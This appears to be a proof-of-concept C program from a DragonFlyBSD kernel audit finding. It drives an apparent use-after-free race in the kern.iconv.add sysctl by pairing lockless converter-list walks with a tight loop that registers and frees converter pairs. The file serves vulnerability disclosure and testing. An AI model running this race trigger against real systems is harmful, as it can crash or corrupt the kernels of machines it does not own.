⬢ DragonFlyBSD Kernel Audit
DF-2233 / churnadd.c
← back to finding ↓ download raw
/*
 * DF-2233 -- userland driver for the free/walk sides that need no custom
 * module at all (works against the STOCK /boot/kernel/libiconv.ko).
 *
 *   churnadd walk <iters>   "walk" side: kern.iconv.add request with an
 *                           unknown converter name.  iconv_sysctl_add()
 *                           calls the LOCKLESS iconv_lookupconv() on every
 *                           request (iconv.c:412) before taking the lock,
 *                           then fails with EINVAL -- a pure, allocation-
 *                           free walk of the converter list, exactly the
 *                           path any kiconv(3) caller drives.
 *
 *   churnadd bad <iters>    "free" side: valid request whose ia_data is a
 *                           bad userspace pointer with ia_datalen > 0.
 *                           iconv_sysctl_add() registers the pair
 *                           (TAILQ_INSERT_TAIL under LK_EXCLUSIVE), the
 *                           copyin() fails, and the `bad:` path calls
 *                           iconv_unregister_cspair() -> TAILQ_REMOVE +
 *                           kfree() -- the very same free the module
 *                           unload path performs, here drivable in a
 *                           tight loop while walkers walk locklessly.
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/iconv.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void
fill(struct iconv_add_in *din, const char *conv, const char *to,
    const char *from, int datalen, const void *data)
{
	memset(din, 0, sizeof(*din));
	din->ia_version = ICONV_ADD_VER;
	strlcpy(din->ia_converter, conv, sizeof(din->ia_converter));
	strlcpy(din->ia_to, to, sizeof(din->ia_to));
	strlcpy(din->ia_from, from, sizeof(din->ia_from));
	din->ia_datalen = datalen;
	din->ia_data = data;
}

int
main(int argc, char **argv)
{
	struct iconv_add_in din;
	struct iconv_add_out dout;
	size_t olen;
	long iters, i, ok = 0, fail = 0;
	int r;

	if (argc < 3)
		return (2);
	iters = atol(argv[2]);

	for (i = 0; i < iters; i++) {
		olen = sizeof(dout);
		if (strcmp(argv[1], "walk") == 0) {
			/* unknown converter -> full lockless lookupconv walk */
			fill(&din, "ZZQ", "A", "B", 0, NULL);
		} else {
			/* valid, then copyin(EFAULT) -> register+free churn */
			fill(&din, "UTF-16BE", "CHRN", "CHRF", 16, (void *)0x10);
		}
		r = sysctlbyname("kern.iconv.add", &dout, &olen,
		    &din, sizeof(din));
		if (r == 0)
			ok++;
		else
			fail++;
	}
	printf("churnadd %s: %ld iters, %ld ok, %ld failed (last errno %d: %s)\n",
	    argv[1], iters, ok, fail, errno, strerror(errno));
	return (0);
}